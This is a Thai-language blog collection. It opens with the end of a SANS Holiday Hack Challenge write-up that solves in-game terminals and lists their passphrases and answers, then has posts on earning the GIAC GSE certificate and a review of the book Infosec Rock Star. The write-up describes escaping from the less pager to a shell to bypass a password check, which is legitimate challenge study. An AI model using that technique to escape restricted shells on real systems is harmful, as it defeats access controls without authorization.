และนอกจากวิธีเล่นธรรมดา ๆ แล้ว แน่นอนครับก็มีวิธีโกงให้ชนะได้ง่ายขึ้นเช่นเดียวกัน
1. หากลองไปค้นหาเกี่ยวกับเกมส์ Hunt The Wumpus บน Search Engine แล้วจะพบว่า ขณะที่ Execute ไฟล์ wumpus ขึ้นมานั้น เราสามารถใส่ Parameter ต่าง ๆ ในการกำหนดจำนวน ห้อง (Room), ลูกศร (Arrow), อุโมงค์ที่เชื่อมระหว่างห้อง (Tunnel) และค่าต่าง ๆ ภายในเกมส์ได้ครับ (รายละเอียด : [http://manpages.ubuntu.com/manpages/wily/man6/wump.6.html](https://manpages.ubuntu.com/manpages/wily/man6/wump.6.html){rel=""nofollow""})
จากรูปข้างต้นนั้น เป็นการกำหนดให้ ค้างคาว(bats), หลุม(pits), จำนวนห้อง(room) และ จำนวนอุโมงค์(Tunnel) ที่เชื่อมแต่ละห้อง มีค่าน้อยที่สุด (ไม่สามารถน้อยไปกว่านี้ได้อีกแล้ว) เพื่อให้ชนะเกมส์ได้ง่ายขึ้นอีกนั้นเองครับ
เมื่อได้ Passphrase มาแล้ว ก็ทำการปลดล็อค Terminal …
หลัง Terminal ก็เป็นห้องที่มีชื่อว่า DFER
แต่ก็เหมือนเดิมครับ.. ไม่พบตัว Santa Claus อีกเช่นเคย เจอแต่กวางเรนเดียร์แค่สองตัว…
#### Terminal 3 : Workshop – Lower Terminal
---
เมื่อ Click เข้าไปยังหน้า Console แล้วจะพบคำใบ้ ดังนี้…
1. ทำการค้นหาไฟล์ โดยใช้คำสั่ง :br`find / -name 2>/dev/null`:br
ทดสอบโดยใช้ keyword \*password\*, \*passphrase\*, \*key\* ผลลัพธ์การค้นหาของ 2 keyword แรกนั้น มีแต่ System File ซึ่งไม่น่าจะมีอะไรน่าสนใจ แต่สำหรับ Keyword \*key\* พบว่า
มีไฟล์ชื่อ key\_for\_the\_door.txt อยู่ใน Directory ชื่อแปลก ๆ ซึ่งในไฟล์นี้จะต้องมี Passphrase ที่ใช้ปลดล็อค Terminal อยู่แน่นอน
2. การที่จะเข้าไปอ่านไฟล์ใน Directory ดังกล่าวได้นั้น ไม่สามารถที่จะ Copy แล้วใช้เข้าถึงตรง ๆ ได้ จะต้องทำการ Escape สัญลักษณ์บางตัวก่อน โดยการเติม \ (Backslash) ลงไปหน้าสัญลักษณ์ตัวนั้น เพื่อให้ Bash ไม่มองว่าสัญลักษณ์เหล่านั้นเป็นส่วนหนึ่งของ Command ซึ่งจะทำให้ความหมายเปลี่ยนไป และไม่สามารถเข้าถึง Directory ดังกล่าวได้ (Special Characters : {rel=""nofollow""}) โดยในกรณีนี้ จะทำการ Escape สัญลักษณ์ \ (backslash), (space), ‘ (single quote) และ ! (exclamation mark) จากนั้นก็ทำการอ่านไฟล์ key\_for\_the\_door.txt ออกมาโดยใช้คำสั่ง :br`cat** **/home/elf/.doormat/.\ /\ /\\/\\\\/Don\'t\ Look\ Here\!/You\ are\ persistent,\ aren\'t\ you?/\'/key_for_the_door.txt`:br
(backslash สีแดงคือส่วนที่ใส่เพิ่มเข้าไป)
พบว่า Passphrase คือ open\_sesame นั้นเองครับ
เมื่อได้ Passphrase มาแล้ว ก็ทำการปลดล็อค Terminal …
หลังประตูจะเป็นห้อง Santa’s Office นั้นเองครับ ห้องก็ไม่มี Santa Claus อยู่อีกเช่นเคย
แต่ถ้าสังเกตดี ๆ จะพบว่า บริเวณตู้หนังสือ จะมี Terminal ที่โดนล็อคไว้อยู่อีกชั้นหนึ่งครับ ซึ่งก็จะเป็น Terminal ในข้อถัดไป ที่เราจะมาทำการปลดล็อคกัน
#### Terminal 4 : Santa’s Office
---
เมื่อ Click เข้าไปยังหน้า Console คราวนี้ไม่ปรากฎคำใบ้มาให้ครับ แต่เป็น วลี ๆ หนึ่ง ว่า "GREETINGS PROFESSOR FALKEN." มาแทน…
1. หลาย ๆ ท่านเห็นวลีนี้แล้วอาจจะร้อง อ้อออ ขึ้นมาทันที แต่สำหรับใครที่ไม่เข้าใจ ให้ทดสอบเอาวลีดังกล่าวไปค้นหาใน Search Engine ครับ แล้วจะพบว่า วลีดังกล่าวนั้น มาจากภาพยนตร์ชื่อดังเรื่องหนึ่ง นั้นคือ WarGames นั้นเองครับ
2. หน้าที่ของเราก็คือ แค่พิมพ์ และเล่นไปตามบทในภาพยนตร์เรื่อง WarGames เท่านั้นเองครับ
สุดท้ายก็จะได้ Passphrase คือ "LOOK AT THE PRETTY LIGHT"
3. ขั้นสุดท้าย Terminal จะอยู่บริเวณชั้นหนังสือครับ ให้ Click ไปที่ชั้นหนังสือ
จากนั้นก็ทำการปลดล็อค Terminal..
เมื่อปลดล็อค Terminal ได้แล้ว ห้องข้างหลัง Terminal นี้คือห้อง Corridor นั้นเองครับ แต่เมื่อเข้ามาถึงห้องนี้แล้วจะมี Terminal สุดท้าย ซึ่งไม่มี Console ให้เราหา Passphrase มาปลดล็อค ณ ตอนนี้เรายังมีข้อมูลไม่พอที่จะมาเปิด Terminal อันนี้ครับ เปลี่ยนเป้าหมาย ไปปลดล็อค Terminal อีกอันที่อยู่ที่ Train Station กันก่อน
#### Terminal 5 : Workshop – Train Station
---
เป้าหมายในข้อนี้นั้น คือ การ START Train หรือ ทำให้รถไฟวิ่งให้ได้ครับ
1. Click ไปยังหน้า Console จะพบ Menu ดังนี้!\[]
2. ก่อนอื่นต้องเข้าไปอ่าน HELP ก่อนเลยครับ จะได้รู้ถึงวิธีการใช้งาน Console
พบว่าการที่จะใช้ฟังก์ชั่น START ได้นั้น จะต้องมีการใช้ฟังก์ชั่น BRAKEOFF ก่อน อีกทั้งยังจะต้องมี Password ในการใช้ฟังก์ชั่น START อีกด้วย แต่ปัญหาก็คือ เราไม่มี Password..
3. หากลองสังเกตที่ \*\*HELP\*\*\*\* จะพบว่าข้อความเหมือนมีการบอกใบ้อะไรเป็นนัย ๆ บางอย่าง และหากสังเกตลึกลงไปอีกหน่อยก็จะเห็นได้ว่ามีคำว่า **LESS** ซึ่งเป็นตัวอักษรพิมพ์ใหญ่เด่นออกมา ทำให้พอจะอนุมานได้ว่า Command ที่กำลังเปิด Help Document ขึ้นมาอยู่นั้น น่าจะเป็น LESS Command นั้นเอง ซึ่งทดสอบได้โดยการพิมพ์ \*\*h :br
เมื่อพิมพ์ h แล้วพบว่าจะเข้ามาสู่หน้า Help ของ LESS Command
4. ไล่อ่านข้อมูลต่าง ๆ ในหน้า Help ก็จะพบจุดหนึ่งที่น่าสนใจ คือ
LESS สามารถ Execute Shell Command ได้โดยการพิมพ์ "!"
5. เมื่อสามารถใช้ Shell Command ได้แล้ว ขั้นตอนต่อไปคือหาไฟล์ต่าง ๆ ที่อาจจะเป็นประโยชน์ในการ START Train
พบว่ามีไฟล์ที่น่าสนใจอยู่สามไฟล์ คือ ActivateTrain\*\*, **TrainHelper.txt** และ \*\*Train\_Console
เมื่ออ่านไฟล์ Train\_Console ก็จะพบ Password ที่ใช้ในการ START Train นั้น คือ "24fb3e89ce2aa0ea422c3d511d40dd84" นั้นเองครับ 6. ถึงแม้ว่าจะได้ Password มาแล้ว แต่หากอ่านไฟล์ Train\_Console ก็จะพบว่ามีส่วนหนึ่งของไฟล์ที่น่าสนใจอยู่ คือ :br
จากโค้ดจะเห็นได้ว่า เมื่อเรียกฟังก์ชั่น START และเงื่อนไขต่าง ๆ ถูกต้องแล้ว โปรแกรมจะทำการ Execute ไฟล์ ActivateTrain อีกทีหนึ่ง ซึ่งเท่ากับว่าหากเราใช้ Shell ในการ Execute ไฟล์ ActivateTrain ได้เอง ก็ไม่ต้องใช้ Password ในการทำให้รถไฟวิ่งได้อีกต่อไป 7. Execute ไฟล์ ActivateTrain โดยใช้คำสั่ง :br`!./ActivateTrain`:br
รถไฟจะสามารถวิ่งได้และพาเราย้อนเวลากลับไปยัง North Pole ในปี 1978 ครับ 8. เมื่อเดินสำรวจ North Pole ในปี 1978 จนทั่ว ก็จะพบตัว Santa Claus ที่โดนลักพาตัวไปอยู่ที่ DFE\*\* \*\*R (ใน อาคาร Workshop) นั้นเองครับ
## Appendix
---
ขณะที่กำลังเปิด Console ของ Terminal ในเกมส์อยู่นั้น หากลองดักจับ Packet ดูก็จะพบว่า
จะมีการส่ง Packet ไปหาที่ ๆ หนึ่งครับ นั้นก็คือ URL ของ Console นั้นเอง (เป็น Docker ด้วย) แสดงว่าไม่จำเป็นต้อง Login เข้าไปในเกมส์ ก็สามารถที่จะ Browse เว็บไปตรง ๆ เพื่อเข้าใช้ Console ของแต่ละ Terminal ได้ครับ และเราก็ได้รวบรวม URL ของ Console ทั้งหมดมาให้แล้ว
\| No | Location | URL |
\| 1 | Elf House#2 | {rel=""nofollow""} |
\| 2 | Workshop: Upper terminal | {rel=""nofollow""} |
\| 3 | Workshop: Lower terminal | {rel=""nofollow""} |
\| 4 | Santa’s Office | {rel=""nofollow""} |
\| 5 | Workshop : Train Station | {rel=""nofollow""} |
## Summary
---
1. What is the password for the "cranpi" account>yummycookies
2. How did you open each terminal door and where had the villain imprisoned Santa? :br
Answer
\| No | Location | How to open |
\| 1 | Elf House#2 | sudo command | :br
\| 2 | Workshop: Upper terminal | play the game, cheat | :br
\| 3 | Workshop: Lower terminal | access to directory with wierd name | :br
\| 4 | Santa’s Office | follow dialogue from WarGames | :br
\| 5 | Train Station | execute command directly in less console |
Santa Claus is in DFER room, Workshop building in 1978.
## Resources
---
1. {rel=""nofollow""} (Mount Image File)
2. {rel=""nofollow""} (RockYou)
3. {rel=""nofollow""} (Shadow File Format)
4. {rel=""nofollow""} (Linux File Permission)
5. {rel=""nofollow""} (Sudo)
6. {rel=""nofollow""} (Strings)
7. {rel=""nofollow""} (Character Encoding)
8. {rel=""nofollow""} (Hunt The Wumpus)
9. [http://manpages.ubuntu.com/manpages/wily/man6/wump.6.html](https://manpages.ubuntu.com/manpages/wily/man6/wump.6.html){rel=""nofollow""} (Wump)
10. {rel=""nofollow""} (Special Characters)
จบกันไปแล้วนะครับกับ Part 3 และสำหรับใน Part 4 จะมีความซับซ้อนและยากขึ้นไปกว่านี้อีกเป็นเท่าตัว..
แล้วพบกันใหม่ในตอนต่อไป Part 4: My Gosh… It’s Full of Holes ครับ ?
# My Journey to GSE Certificate Part 1
Top Certificate สาย Network เป็น CCIE แต่ถ้า Security ต้องเป็น GSE
พูดถึง GSE หลาย ๆ คนแม้แต่คนในวงการ Security เองนั้นคงไม่ค่อยคุ้นเท่าไรนัก ขอแบ่งเป็น 2 ตอนละกันครับ
- ตอนที่ 1 รู้จักกับ GSE
- ตอนที่ 2 ขั้นตอนการเตรียมตัวและประสบการณ์การไปสอบ
## ตอนที่ 1 รู้จักกับ GSE
GSE (GIAC Security Expert) เป็น Certificate ที่สูงที่สุดของ SANS/GIAC ซึ่งปัจจุบัน (19th May 2017) มีคนที่มี Certificate นี้อยู่ 182 คน (ในประเทศไทยตอนนี้มี 1 คน) โดย Certificate นี้มีมาตั้งแต่ปี 2003 โดย GSE นี้ถือว่าเป็น Certificate ที่โหดมากที่สุดในสาย Security ก็ว่าได้ โดยการจะได้ GSE มานั้นต้องใช้ความรู้ด้าน Security หลายแขนงรวมถึงใช้เงินลงทุนสูง
GSE แบ่งการสอบออกเป็น 2 ส่วนคือ ข้อสอบ Choice และ ข้อสอบ Lab โดยก่อนที่จะสอบ Choice ได้นั้นจะต้องผ่าน pre-requisites ของ GSE ก่อน
ข้อกำหนดของ pre-requisites สามารถเลือกได้หลายแบบ
1. GSEC, GCIH, GCIA with two gold
2. GSEC, GCIH, GCIA with one gold and one substitute
3. GSEC, GCIH, GCIA with no gold and two substitutes
4. GCWN, GCUX, GCIH, GCIA with one gold
5. GCWN, GCUX, GCIH, GCIA with no gold and one substitute
Gold หมายถึงจะต้องเขียน gold paper, substitute หมายถึงเราสามารถใช้ Certificate อื่นเพื่อชดเชย gold paper ได้ ทั้งนี้ Certificate อื่น ๆ นั้นจะต้องเป็นของ SANS/GIAC ที่มีเลข course ที่เป็น 5xx หรือ 6xx
เมื่อผ่านข้อกำหนดเบื้องต้นแล้วก็ต้องส่งเมลไปแจ้งว่าจะขอสอบ GSE จากนั้นก็ต้องไปสอบข้อสอบ choice ซึ่งเป็นแบบ computer based ทั่วไป
โดยข้อสอบ choice ของ GSE มีรายละเอียดดังนี้
- ไม่มี practice test มาให้
- โจทย์ 150 ข้อให้เวลา 3 ชั่วโมง จะต้องได้อย่างน้อย 75% ทั้งนี้คะแนนนี้จะถูกนำไปรวมกับคะแนนตอนสอบ Lab ด้วย
- ถ้าสอบผ่านแล้วจะต้องสมัครสอบ Lab ภายใน 18 เดือน
- ค่าสอบ 429 USD
เมื่อสอบผ่านแล้ว ก็เตรียมตัวสอบ Lab ซึ่งปกติจะจัดปีละ 2 ครั้ง ช่วงเดือน April ที่ Orlando และ September ที่ Las Vegas
โดยข้อสอบ Lab ของ GSE มีรายละเอียดดังนี้
- สอบ Hands-On Lab 2 วัน
- หัวข้อที่เน้นจะเป็นไปตามหัวข้อใน GSEC, GCIA, GCIH สามารถไปดูรายละเอียดหัวข้อได้จาก {rel=""nofollow""}
- ถ้าสอบไม่ผ่านจะต้องเว้นไป 1 ปี และให้สอบไม่เกิน 3 ครั้งต่อ 1 ชีวิต\*\*\*
- ถ้าสอบไม่ผ่านแบบขาดไม่กี่คะแนน อาจจะถูกเสนอให้เขียน Gold paper หัวข้อเรื่องที่สอบไม่ผ่าน เพื่อทดแทนคะแนนในส่วนนั้น
- ค่าสอบ 2,199 USD
สอบผ่านแล้วได้อะไร
- เป็นประโยชน์มาก ๆ สำหรับคนที่มี Certificate ของ GIAC หลายใบ เนื่องจากปกติจะเสียเงินต่ออายุทีละใบ และต้องไปสอบหรือเก็บ CPE สำหรับแต่ละใบ ถ้ามี GSE จะเพียงแค่สอบ multiple choice ของ GSE ทุก ๆ 4 ปีให้ผ่าน Certificate ที่มีทั้งหมดก็จะถูกต่ออายุไปอีก 4 ปีทันที (ประหยัดเงิน และเวลาในการอ่านหนังสือ)
- หางาน? ส่วนตัวคิดว่าคงไม่ได้ช่วยหางานเท่าไร เพราะว่าแค่มี pre-requisites ก็หางานง่ายมาก ๆ แล้ว แต่ Certificate นี้เหมือนเป็น Trophy ที่ท้าทายในการสอบให้ได้มากกว่า หรือเรียกว่าเป็น Final destination ของ Security Professional ก็ว่าได้
สำหรับค่าใช้จ่ายในการสอบ
- สำหรับส่วนตัวเลือก pre-requisites แบบ C คือจะต้องมี Certificate ทั้งหมด 5 ใบ ใบละ 1,249 USD = 6,245 USD
- ค่าเรียนวิชาละ 5,910 USD x 5 = 29,550 USD (บางคนเลือกแบบ challenge exam คือหาหนังสืออ่านแล้วไปสอบเลย ก็จะประหยัดส่วนนี้ไปเยอะ)
- ค่าสอบ GSE = 429 + 2,199 = 2,628 USD
- ค่าใช้จ่ายอื่น ๆ เช่น ค่าตั๋วเครื่องบิน ค่าโรงแรม (SANS จัดแต่โรงแรมแพง ๆ ) ค่าอาหาร (แพงเช่นกัน เพราะกินในโรงแรมทั้งวันแหละ)
- รวม ๆ แล้วอย่างต่ำ ๆ ก็ 4-5 แสนบาท (ถ้าจ่ายค่าเรียนด้วยก็เป็นล้านบาทแน่นอน)
# My Journey to GSE Certificate Part 2
ตอนที่ 2 ขั้นตอนการเตรียมตัวและประสบการณ์การไปสอบ
การเตรียมตัวสำหรับ Pre-requisites
- ผมเลือกสอบ Pre-requisites 5 วิชาคือ GSEC(401), GCIH(504), GCIA(503), GPEN(560), GCFA (508)
- ที่เลือก GPEN นั้นไม่มีเหตุผลอะไรเป็นพิเศษ เนื่องจากปกติต้องใช้ GPEN ในการเข้าโครงการอยู่แล้วเลยสอบเก็บไว้
- ส่วน GCFA นั้นเนื่องจากส่วนตัวไม่เคยมี hands-on experience กับฝั่ง Defense มากนักจึงเลือก GCFA เพื่อใช้เพิ่มความรู้ด้าน Forensics
- ตอนอ่านหนังสือเตรียมตัวสอบแต่ละวิชาจะจัดทำ Index ไว้คร่าว ๆ หน้าตา Index ของผมคร่าว ๆ จัดทำไว้ 2 แบบ (อันนึงเรียงตามเนื้อหาในหนังสือ อีกอันเรียงตามตัวอักษร) เพื่อให้ reference ตอนสอบได้เร็ว (สอบเป็นแบบ Open book) ซึ่ง Index ผมก็ไม่ได้ละเอียดมากนักมีประมาณ 20 หน้าได้ แต่มีบางคนทำ Index แบบอลังการมากเป็นร้อยหน้า ({rel=""nofollow""})
- การสมัครสอบ SANS แต่ละวิชาจะให้ practice test มา 2 ชุด ผมใช้วิธีการ capture หน้าจอทั้งคำถามและคำตอบเก็บไว้เพื่อไว้ review ในภายหลัง
- เมื่อพร้อมแล้วก็ไปลุยสอบได้เลย ปกติจะไปศูนย์สอบที่ Central World คนไม่เยอะ ไม่เคยเจอปัญหา มีครั้งนึงเคยไปแถว BTS นานา Facility ห่วยมาก Internet ไม่เสถียร รอบนั้นเสียเวลาแก้ปัญหาไปประมาณ 1 ชั่วโมง (จาก 4 ชั่วโมง) เลยเลิกไปเลย
- ตั้งแต่เริ่มเก็บ Certificate ของค่ายนี้ใช้เวลาประมาณ 2 ปี นิด ๆ ในการเก็บครบ Pre-requisites
การเตรียมตัวสำหรับข้อสอบ Choice
- ก่อนไปสอบก็อ่านซ้ำรอบนึง และ review ข้อสอบเก่าอีกรอบนึง ตอนไปสอบนี่ถึงกับต้องเอาหนังสือใส่กระเป๋าเดินทางไปเลยครับ
- ปกติตอนสอบวิชาทั่ว ๆ ไปจะไม่คิดอะไรมาก แค่สอบให้คะแนนเกินเกณฑ์ก็พอ แต่สำหรับ GSE choice exam นี่ทุกข้อมีคุณค่า เนื่องจากคะแนนจะเอาไปรวมกับคะแนน Lab ดังนั้นแนะนำว่าต้องตั้งใจให้ดีครับ
- ข้อสอบ Choice นี้คงไม่มีอะไรมากหากผ่าน Pre-requisite มาหมดแล้ว
การเตรียมตัวสำหรับข้อสอบ Lab
- เข้าไปศึกษาใน Google Group ของคนที่เตรียมตัวสอบ GSE {rel=""nofollow""}
- มีเอกสารเตรียมตัวสอบ มีการรวบรวมเนื้อหา command ต่าง ๆ ซึ่งทำโดยหลาย ๆ คนช่วยกัน หนึ่งในนั้นคือ Don Murdoch คนเขียนหนังสือ Blue Team Handbook
- อ่าน Slide GSE ของ Jeff Pike ที่ {rel=""nofollow""}
- เค้าบอกว่า SANS เองก็ไม่ได้ทำให้ GSE มันโคตรยาก SANS เองก็อยากให้คนสอบผ่านเช่นกัน
- Tough but fair -> นี่คือ คำนิยาม ที่ทุกคนลงความเห็น และผมเองก็เห็นด้วย
- เตรียมหนังสือเข้าไป 3 เล่ม ซึ่งส่วนใหญ่ก็คือเป็นสรุป command และ concept ต่าง ๆ
- RTFM: Red Team Field Manual
- BTFM: Blue Team Field Manual
- Blue Team Handbook
- ซ้อมทำโจทย์ โดยหัดเล่น CTF
- ลองทำ SANS Holiday Challenge ทุกปี ยกเว้นปี 2015 โจทย์มันยาว 555 ส่วนปี 2016 ก็ได้รับคำชมจากทีมงาน ?
- ลองทำโจทย์ Forensics จาก {rel=""nofollow""}
- โจทย์อื่น ๆ อีกนิดหน่อย
- ระหว่างนั้นมีความจำเป็นต้องใช้ GWAPT และ GXPN เลยได้ skill exploit มาบ้าง (แต่ GXPN ไม่ได้ใช้ใน GSE หรอกครับ)
- ทำ Lab ทุก ๆ อันที่ใน GCIA, GCIH, GSEC (ผมทำทุกอันไม่ไหว ตอนนั้นผมก็เก็ง ๆ เอาบางหัวข้อ)
- หัดใช้ command line เยอะ ๆ โดยเฉพาะคำสั่งบน unix
- เมื่อเดือน March ที่ผ่านมามีงาน SANS community night ได้พบกับ Speaker ที่เค้าสอบผ่าน GSE แล้ว เค้าแนะนำว่าไม่ต้องแบกหนังสือไป เพราะว่าจะไม่มีเวลาเปิดหนังสือ
- ทำ note ของตัวเองอีกชุดนึง ซึ่งตอนนั้นตัดสินใจว่าจะไม่แบกหนังสือทั้ง 3 วิชาไปแน่นอน เพราะว่ามันหนักมาก และเปลืองน้ำหนักเวลาบินในประเทศ 555 (งก นั่นเอง)
ตอนที่บินไปสอบ
- เนื่องจากต้องบินไป USA ปัญหาที่เจออย่างแรกก็คือเรื่องของ Jet lag ก็ไปเตรียมตัวล่วงหน้าประมาณ 1 สัปดาห์
- ระหว่างนั้นก็ทั้งเที่ยว ทั้งอ่านหนังสือ วน ๆ ไป
- ใกล้ ๆ ถึงวันสอบเค้าจะส่ง Schedule ของการสอบมาให้ เป็นข้อมูลว่าแต่ละ session เริ่มกี่โมง ๆ
- ตอนนั้นก็เครียด ๆ เหมือนกันครับ เนื่องจากค่าสอบแพง 555 สอบไม่ผ่านนี่ไม่รู้จะบอกผู้สนับสนุนอย่างเป็นทางการอย่างไร และแต่ละคนที่มี GSE นี่ Super Star ในวงการทั้งนั้นเลย เราจะรอดมั้ยนะ
ตอนอยู่หน้าห้องสอบ
- เฮ้ย!! ทำไมคนเยอะจัง แต่ละคนก็มีวัยวุฒิพอสมควรเลย ออกแนว 40+ เกินครึ่ง
- รอบที่สอบมีคนประมาณ 30-35 คน มีคนเอเชียอยู่ 2 คน (รวมผม) ตอนเข้าห้องสอบเค้าบอกว่ารอบที่ผมสอบนี่คนสมัครเยอะมากที่สุดเลยตั้งแต่เปิดมา -> % ของคนที่สอบผ่านเท่าไร อยากรู้เลื่อนไปข้างล่างสุด
- คนส่วนใหญ่ลากกระเป๋าเดินทางมา แน่นอนในนั้นมีหนังสือ SANS เยอะมากกกกกกกกก
- ความรู้สึกในตอนนั้นคือ ทำไรผิดป่าวหว่า ทำไมมีแต่คนลากกระเป๋าเดินทางมา ส่วนเรานั้นมีหนังสือ 3 เล่มกับ note อีกปึกนึง
ตอนเข้าไปสอบ
- Proctor บอกว่าให้ทำให้ครบทุก Domain อย่างน้อยต้องผ่านในแต่ละ Domain ไม่งั้นตกทันที (Domain ในที่นี้ก็หมายถึงหัวข้อจาก GSEC, GCIA, GCIH) ดังนั้นตอนเห็นโจทย์แนะนำว่าต้องวางแผนในการทำโจทย์ดี ๆ ไม่งั้นทำไม่ทันแน่ ๆ เรื่อง Time management นี่สำคัญมาก ๆ
- เครื่องที่ใช้สอบไม่สามารถออก Internet ได้ แต่จะมีการจัดเตรียมเครื่องให้หน้าห้อง กรณีที่ต้องการ search ข้อมูลจาก Internet
- ข้อสอบก็อย่างที่เค้า comment กัน "Tough but fair"
- รายละเอียดข้อสอบไม่สามารถเปิดเผยได้ แต่บอกได้ว่าสิ่งที่มีบอกบน GSE page ของ GIAC นั่นแหละ โอเคแล้ว
จำนวนคนสอบผ่านรอบนี้มี 15 คน ก็เรียกว่าราว ๆ 50% เท่านั้นเอง Passing rate ระดับนี้ถือว่าต่ำมาก เพราแต่ละคนที่ผ่านมาจนสอบ Lab ได้นี่ผมคิดว่าไม่ธรรมดามาก ๆ ละ ใครสนใจก็ถามเพิ่มเติมได้นะครับ แต่ว่าเรื่องโจทย์ตอนสอบ Lab นี่ไม่ขอตอบนะครับ ?
# Infosec Rock Star Review
ไม่ได้เขียน Blog มานาน โดยปกติจะเขียนให้มีเรื่อง Technical เข้ามาเกี่ยวข้องด้วย แต่ในบทความนี้เราจะไม่พูดถึงเรื่อง Technical นะ(ถ้าใครสนใจแต่เรื่อง Technical ก็ข้ามไปได้เลย) เรื่องของเรื่องมีอยู่ว่าหลังจากสอบ Certificate มามากมายแต่ก็ยังพบว่าตัวเองขาดอะไรบางอย่าง ก็มีโอกาสได้อ่านข้อความใน SANS Advisory Board มีคนแนะนำว่าให้ลองหาหนังสือชื่อว่า Infosec Rock Star มาอ่านดูสิ หนังสือเล่มนี้เขียนโดย Ted Demopoulos สั่งซื้อจาก Kinokuniya ก็ได้
แค่อ่าน Intro ก็คิดว่าเล่มนี้เหมาะกับเราแล้วล่ะ เค้าบอกว่าแค่ Technical skill มันไม่พอ ถ้าอยากเป็น Rock star ต้องมี skill อื่น ๆ ที่คนเทคนิคมักจะมองข้ามไป เช่น Reading, Writing, Speaking, Planning, Time Management, Leadership, Influence, etc.
ความหมายของ Rock Star คืออะไรหละ? ส่วนตัวคิดว่าคือคนที่เป็นคนที่มีความรู้ความสามารถ เป็นที่รู้จักอย่างกว้างขวาง ประสบความสำเร็จ น่าเคารพนับถือ มีความแตกต่าง ซึ่งการที่จะเป็น Rock Star Level ให้ได้ก็ไม่ใช่เรื่องง่าย แต่คนทั่วไปไม่ต้องน้อยใจ อย่ามัวแต่ไปคิดว่าเราไม่เก่งอย่างโน้นอย่างนี้ แต่ละคนก็มี potential ที่จะเป็น Rock star ได้ทั้งนั้น โดยตัวอย่างที่เค้ายกมาคือตัวเค้าเอง Ted นั้นเป็นผู้เชี่ยวชาญด้าน Crypto พอสมควร ประมาณว่ารู้ Math แบบลึกซึ้งในระดับนึงที่สามารถเอามาเข้าใจ Crypto ในเชิงลึกได้ซึ่งนั่นก็สามารถทำให้เค้าเป็น Rock star ในแวดวงที่เค้าอยู่ในเรื่องของ Crypto ได้แล้ว แต่ถ้าเอาเค้าไปเทียบกับนัก Crypto ใน NSA นั้น Skill เค้าก็คงเทียบไม่ติดฝุ่นเลย
> อย่ามัวแต่ไปคิดว่าเราไม่เก่งอย่างโน้นอย่างนี้ แต่ละคนก็มี potential ที่จะเป็น Rock star ได้ทั้งนั้น
ขอดึงบางท่อนที่ชอบออกมาเล่า ซึ่งการเล่านี้ก็ขอปนประสบการณ์ตัวเองลงไปด้วยละกันนะครับ
1. Security is not about Geek/Technology\*\* อันนี้ตรงกับที่เคยเชื่อมาอยู่แล้วว่า \*\*"Security is all about risk management" สุดท้ายแล้วมันก็คือการลดความเสี่ยงโดยใช้ control ต่าง ๆ เข้ามาช่วยนั่นแหละ ไม่ได้มีอะไรมากกว่านั้น เรื่อง Technology ก็เปลี่ยนแปลงไปตามกาลเวลา แต่ Concept นี้ไม่เปลี่ยนแปลง
2. Trust\&Ethics ชอบท่อนที่นี้มาก ๆ ๆ
> A Professional is ethical. People will generally forgive you for making mistakes, but not for being unethical. Unethical people are simply not trusted, and trust is essential.
คนจะให้อภัยคุณถ้าคุณทำผิดพลาด แต่จะไม่ให้อภัยถ้าคุณไม่มีจริยธรรม คนไม่มีจริยธรรมก็ไม่น่าเชื่อถือ ในแต่ละสถานการณ์แต่ละช่วงเวลาแต่ละคนย่อมมีข้อจำกัดที่แตกต่างกัน อย่าให้ข้อจำกัดนั้นมาทำลายจริยธรรมและความน่าเชื่อถือที่คุณมี
3. เรื่องของเวลาและการวางแผนงาน
> There is never enough time to do everything you want or think you should do. Conversely, there is exactly enough time for what you do get done.
ถ้าคุณสามารถแยกแยะได้ คุณควรจะวางแผนงานเป็น 2 ประเภท High-level planning กับ Low-level planning :br
High-level planning คือ Long-term strategy อะไรที่เป็นสิ่งที่เราต้องการในระยะยาว :br
Low-level planning แบ่งเป็น 2 กลุ่มคือ Tactics อะไรที่ทำแล้วส่งผลต่อ Long-term strategy ให้เราเข้าใกล้ Strategy ของเรามากขึ้น กับ สิ่งอื่น ๆ ที่เราต้องทำให้เสร็จ ซึ่งไม่ได้ส่งผลต่อ Strategy ของเรา โดยสิ่งนี้ถ้าเปรียบเทียบกับชีวิตปกติคงเรียกว่างาน Operation นั่นแหละ
> Strategy without tactics is the slowest role to victory. Tactics without strategy is the noise before defeat. — Sun Tzu
4. No is a complete sentence. บางครั้งเราก็ควรที่จะบอกปฎิเสธโดยไม่ต้องมีคำอธิบายใด ๆ บางทีเจอพวกเวิ่นเว้อต้องอธิบายมากมาย เสียเวลาชีวิตพอสมควร หรือในบางสถานการณ์นั้นเราอาจจะโดนบังคับให้ทำสิ่งที่เราไม่ต้องการทำ โดยเฉพาะในการทำงานนั้นไม่ใช่ทุกครั้งที่เราสามารถเลือกงานได้ งานอาจจะถูกส่งมาให้เราทำเนื่องด้วยเหตุผลทางธุรกิจเป็นหลัก (ส่วนใหญ่คงหนีไม่พ้นเรื่องเงิน หรือ การรักษาสัมพันธ์กับลูกค้า)
> The difference between successful people and really successful people is that really successful people say no to almost everything. — Warren Buffet
ส่วนตัวแนะนำว่าถ้าเลือกได้ก็ไม่จำเป็นต้องทำงานที่ไม่ส่งผลต่อ Strategy ของเรา
5. เรื่องการทำงานให้ Effective คิดว่าเป็นเรื่องทั่ว ๆ ไปที่ทุกคนรู้ด้วย common sense ของตัวเองอยู่แล้ว เช่น :br
– การทำ To-do list โดยส่วนตัวชอบมาก เพราะว่าเมื่อไหร่ที่เขียน To-do list แล้วงานนั้นเสร็จแน่นอน :br
– เทคนิค Time Blocking การตั้ง Time Block ให้งานแต่ละงานให้ชัดเจน หมายถึงว่างานนั้น ๆ เราจะให้เวลาเริ่มต้นและสิ้นสุดเมื่อไร ในระหว่างนั้นเราควรจะใช้เวลาให้เต็มที่กับงานที่เราตั้งใจไว้ บางครั้งถ้าคนที่จัดการไม่ดี พอมีงานอะไรมาแทรกเท่านั้นแหละก็จะเปลี่ยนไปทำงานที่เพิ่งเข้ามาแทรกทันที ซึ่งสุดท้ายแล้วถ้าบริหารจัดการไม่ดี ก็อาจทำให้งานไม่เสร็จซักอย่าง :br
– การแบ่งงานตามความสำคัญและเร่งด่วน คือให้ทำงานที่สำคัญและเร่งด่วนก่อน ถ้างานที่ไม่สำคัญและไม่เร่งด่วนก็ไม่ต้องทำหรือว่าไว้ว่าง ๆ ค่อยทำ
